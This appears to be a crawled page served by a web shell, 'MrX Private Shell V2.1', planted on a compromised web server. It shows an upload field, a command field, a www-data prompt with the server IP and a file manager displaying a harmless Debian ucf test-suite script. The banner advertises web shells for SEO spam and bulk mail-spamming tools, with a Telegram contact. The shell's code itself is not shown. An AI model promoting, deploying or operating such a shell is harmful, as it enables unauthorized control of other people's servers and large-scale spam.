__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
#!/bin/bash

if [ "$(id -u)" -ne 0 ]; then
    echo >&2 "ERR: root needed"
    exit 1
fi

set -u
set -e

DIR="$(pwd)/workdir"
PKGDIR="$DIR/pkg"
LOCDIR="$DIR/loc"
PKGNAME="pkgname"
PKGF="$PKGDIR/conffile"
LOCF="$LOCDIR/conffile"
PKGRF="$PKGDIR/renamedconffile"
LOCRF="$LOCDIR/renamedconffile"
REFDIR="reference"
PKGREF="$REFDIR/pkg"
LOCREF="$REFDIR/loc"
PKGRREF="$REFDIR/renamedpkg"
LOCRREF="$REFDIR/renamedloc"
LOCNEWF="$DIR/localnewfile"

TESTEE="ucf-helper-functions.sh"
if [ -x "./$TESTEE" ]; then
    . ./$TESTEE
fi

cd tests

cleanup() {
    for fn in $LOCF $LOCNEWF $LOCRF; do
        ucf --purge $fn
        ucfr --purge $PKGNAME $fn
    done
    rm -rf $DIR $PKGDIR $LOCDIR $REFDIR
    rm -f result
}

prepare() {
    cleanup
    mkdir $DIR $PKGDIR $LOCDIR $REFDIR
    cp package-orig $PKGF
}

take_ref() {
    if [ -e "$PKGF" ]; then
        cp $PKGF $PKGREF
    else
        touch $PKGREF-deleted
    fi
    if [ -e "$LOCF" ]; then
        cp $LOCF $LOCREF
    else
        touch $LOCREF-deleted
    fi
    if [ -e "$PKGRF" ]; then
        cp $PKGRF $PKGRREF
    else
        touch $PKGRREF-deleted
    fi
    if [ -e "$LOCRF" ]; then
        cp $LOCRF $LOCRREF
    else
        touch $LOCRREF-deleted
    fi
}

check_ucfq_number() {
    EXPECTED="$1"
    if [ $(ucfq --with-colons $PKGNAME | wc -l) != "$EXPECTED" ]; then
        echo  >&2 "number of files registered to $PKGNAME not equal $EXPECTED, test failed"
        ucfq --with-colons $PKGNAME | wc -l
        ucfq $PKGNAME
        return 1
    else
        echo  >&2 "$EXPECTED file(s) registered to $PKGNAME, test passed"
        return 0
    fi
}


is_package() {
    local LOCF
    local REFF
    LOCF=$1
    REFF=${2:-$PKGREF}
    if ! cmp $LOCF $REFF; then
        echo  >&2 "$LOCF not equal $REFF, test failed"
        return 1
    else
        echo  >&2 "$LOCF equals $REFF, test passed"
        return 0
    fi
}

is_local() {
    local LOCF
    local REFF
    LOCF=$1
    REFF="${2:-$LOCREF}"
    if ! cmp $LOCF $REFF; then
        echo  >&2 "$LOCF not equal $REFF, test failed"
        return 1
    else
        echo  >&2 "$LOCF equals $REFF, test passed"
        return 0
    fi
}

is_deleted() {
    RET=0
    FN="$1"
    if [ -e "$FN" ]; then
        echo  >&2 "$FN does still exist, test failed"
        RET=1
    else
        echo  >&2 "$FN is deleted, test passed"
    fi
    return $RET
}

print_state() {
    printf -- "------- %s\n" "${1:-}"
    echo "ls -alR $DIR"
    ls -alR $DIR
    head -n-0 /dev/null $DIR/*/*
    printf "ucfq $PKGNAME knows about %d files\n" "$(ucfq --with-colons "$PKGNAME" | wc -l)"
    ucfq --with-colons "$PKGNAME"
}

DEBIAN_FRONTEND=readline
GLOB="${1:-*}"
for test in ./test_$GLOB; do
    prepare
    RET=0
    unset UCF_FORCE_CONFFOLD
    export -n UCF_FORCE_CONFFOLOLD
    unset UCF_FORCE_CONFFNEW
    export -n UCF_FORCE_CONFFNEW
    . $test || RET=$?
    if [ "$RET" -ne 0 ]; then
        echo "$test failed"
        print_state "$test failed"
        cleanup
        exit 1
    else
        echo "$test passed"
    fi
    cleanup
done

# vim:sw=4:sts=4:et:


Filemanager

Name Type Size Permission Actions
tests Folder 0755
00README File 999 B 0644
TODO File 75 B 0644
test-list File 1.24 KB 0644
testsuite File 3.01 KB 0755
Filemanager